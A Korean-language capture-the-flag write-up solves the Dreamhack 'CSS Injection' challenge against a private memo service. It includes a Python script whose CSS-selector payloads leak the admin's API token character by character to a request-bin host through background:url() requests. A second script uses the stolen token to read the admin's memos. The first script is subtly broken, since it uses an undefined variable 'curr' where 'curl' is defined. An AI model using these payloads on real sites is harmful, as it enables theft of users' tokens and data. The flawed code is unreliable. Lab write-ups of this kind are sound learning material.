[Dreamhack] CSS Injection

📌 CSS Injection
공격자가 삽입한 값을 통해서 웹 페이지 내 로드된 CSS(스타일시트) 또는 Style 태그와 속성 등 페이지의 CSS를 통제하는 취약점이다. 대표적으로 피싱에 활용될 수 있으며 다른 XSS나 CSRF 취약점이 쉽게 트리거될 수 있도록 사용자를 속이는데 사용된다.

| 참고자료 https://www.hahwul.com/cullinan/css-injection/

 

 

먼저 문제 페이지를 접속하면 위와 같은 메인 화면을 볼 수 있다.

 

메인 페이지에서 언급되어 있는 것처럼 해당 페이지는 'Private Memo Service'라 그런지 Memo 카테고리를 눌렀을 때 로그인을 진행해야 함을 확인할 수 있다.

 

계정이 따로 없으니 등록을 먼저 해보자.

우선 임의로 username과 password를 모두 admin으로 작성하고 등록하였더니 등록이 성공적으로 되었다는 문구를 볼 수 있었다.

 

등록한 계정으로 로그인하면 위와 같이 로그인이 정상적으로 된 것을 확인할 수 있다.

 

로그인한 계정을 통해 마이페이지에 접속해보니 API Token도 제공하는 것을 확인할 수 있었다.

 

로그인 이전에는 확인하지 못했던 Memo 카테고리에 들어가보니 위와 같은 화면을 볼 수 있었고, 메모에 입력하는 값들이 아래 순차적으로 저장되는 것을 볼 수 있었다.

 

에러 페이지에 대한 리포트를 생성하는 카테고리에서는 경로를 입력할 수 있는 부분에 임의의 값을 넣고 해당 경로로 접속을 해보았는데 접속이 불가능하다.

 

CSS Injection과 관련된 문제가 거의 접해본 적 없어서 그런지 문제 사이트에서는 더 이상 어떻게 접근해야 할지 몰라 코드를 분석해보았다.

 

 

먼저 flag는 admin이 작성한 메모에 기록되고 있따.

 

admin 메모에 기록된 내용을 획득하는 것이 해당 문제에서 해결해야 할 부분이다. 하지만 admin의 메모를 읽으려면 admin 계정의 API-KEY가 필요하다.

 

위 코드에서는 /report 페이지에서 report를 제출하면 전달한 path를 검증하고 admin이 전달한 path로 접속하고 있다.

 

해당 부분은 공격 대상인 admin이 로그인하고 path에 접속하는 코드이다

 

또한 배경 색깔은 color 파라미터로 지정할 수 있다.

 

예를 들어 url의 ? 뒷 부분에 color=yellow로 파라미터를 작성할 경우 위 이미지와 같이 바뀌는 것을 볼 수 있다.

 

그리고  /api/memo를 이용하면 uid로 지정한 사용자의 메모를 확인할 수 있다. 단, apikey_required()가 먼저 실행되는데, API-KEY를 통해 실사용자가 맞는지 검증을 수행한다.

 

 

/mypage에서는 token값을 바로 확인할 수 있다. 따라서, /report 페이지에서 css selector를 활용하여 mypage의 토큰값을 탈취해오는 방식으로 익스플로잇 코드를 작성할 수 있다.

 

import requests, string
 
URL = "http://host3.dreamhack.games:21303/report"
curl = ""  # API KEY: pgqnoqhp
 
for token in string.ascii_lowercase: 
    data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://wzkofsc.request.dreamhack.games/"+curl+token+");"}
    response = requests.post(URL, data=data)
    print(f"'{token}': Status {response.status_code}")

먼저 admin의 토큰값을 알아내는 코드를 작성해주었다. url() 안에 있는 링크는 드림핵에서 제공해주고 있는 Request Bin Tools를 사용하여 해당 주소를 넣어주었다.

 

위 코드를 실행시키면 토큰값이 하나씩 뜨는데 이때 한번 실행할 때마다 알파벳 한개씩 알 수 있기 때문에 curl 부분에 하나씩 직접 넣어주어야 다음 값을 알 수 있다.

 

 

이렇게 여러 시도를 해보는 과정에서 페이지가 동작하지 않거나 Request Bin 링크가 만료되는 등 여러 시행착오를 겪었다.....

 

위 이미지와 같이 코드를 한번 실행할 때마다 알파벳이 하나씩 늘어나면서 Path가 생성되는 것을 볼 수 있다.

 

최종적으로 알게된 경로를 토큰값으로 활용하여 api/memo에 접근할 수 있도록 아래와 같이 코드를 작성할 수 있다.

 

import requests
 
URL = "http://host3.dreamhack.games:21303/api/memo"
TOKEN = "pgqnoqhp"
 
headers = {
    "API-KEY": TOKEN
}
 
response = requests.get(URL, headers=headers)
 
# 응답 확인
if response.status_code == 200:
    print("Request successful!")
    response_data = response.json()
    if response_data['code'] == 200:
        # 메모 데이터 파싱 및 출력
        memos = response_data['memo']
        for memo in memos:
            print(f"Memo index: {memo['idx']}, Memo content: {memo['memo']}")
    else:
        print(f"Error: {response_data['message']}")
else:
    print(f"Failed to fetch data. Status code: {response.status_code}")

코드를 실행하면 플래그 값을 확인할 수 있다!

 

드디어 문제 해결!!